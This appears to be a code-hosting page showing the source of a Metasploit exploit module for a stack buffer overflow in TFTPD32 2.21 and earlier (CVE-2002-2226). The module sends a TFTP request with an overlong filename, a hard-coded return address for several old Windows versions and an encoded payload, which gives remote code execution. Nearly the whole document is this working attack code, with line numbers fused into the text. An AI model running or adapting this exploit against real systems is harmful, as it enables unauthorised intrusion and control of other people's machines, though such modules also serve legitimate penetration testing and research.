Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/tftpd32_long_filename.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'TFTPD32 Long Filename Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in TFTPD32 version 2.2115and prior. By sending a request for an overly long file name16to the tftpd32 server, a remote attacker could overflow a buffer and17execute arbitrary code on the system.18},19'Author' => 'MC',20'References' =>21[22['CVE', '2002-2226'],23['OSVDB', '45903'],24['BID', '6199'],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 250,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],40['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],41['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],42['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],43],44'Privileged' => true,45'DisclosureDate' => '2002-11-19'46))4748register_options(49[50Opt::RPORT(69)51], self)52end5354def exploit55connect_udp5657print_status("Trying target #{target.name}...")5859sploit =60"\x00\x01" +61rand_text_english(120, payload_badchars) +62"." +63rand_text_english(135, payload_badchars) +64[target.ret].pack('V') +65payload.encoded +66"\x00"6768udp_sock.put(sploit)6970disconnect_udp71end72end737475